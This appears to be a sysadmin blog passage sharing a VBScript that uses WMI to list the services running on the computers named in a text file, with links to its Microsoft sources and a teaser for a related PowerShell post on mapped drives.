Then with the following site I came up with a script to pull in information about services running on the computers.  I used the below sources:

https://social.technet.microsoft.com/Forums/scriptcenter/en-US/890b3bea-c4ff-4bc2-a17f-ddfa92cafc62/vbscript-to-get-service-info?forum=ITCG
https://msdn.microsoft.com/en-us/library/aa394418%28v=vs.85%29.aspx

Script is below:

strComputer = "."

Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile("list.txt")

Do Until f.AtEndOfStream
    strComputer = f.ReadLine
    On Error Resume Next

    Set objWMIService = GetObject("winmgmts:" _
        & "{impersonationLevel=impersonate}!\\" _
        & strComputer & "\root\cimv2")
    Set colProcessList = objWMIService.ExecQuery _
        ("Select * from Win32_Service")
    For Each objProcess in colProcessList
        Wscript.Echo """" & objProcess.Name & """,""" _
            & objProcess.DisplayName & """,""" & objProcess.PathName _
            & """,""" & strComputer & """"
    Next
Loop

f.Close




Powershell - Gather Mapped Drives from a List of Computer Names

I created the following Powershell script to gather remotely the mapped drives that users had in their profiles.  I had to create the script...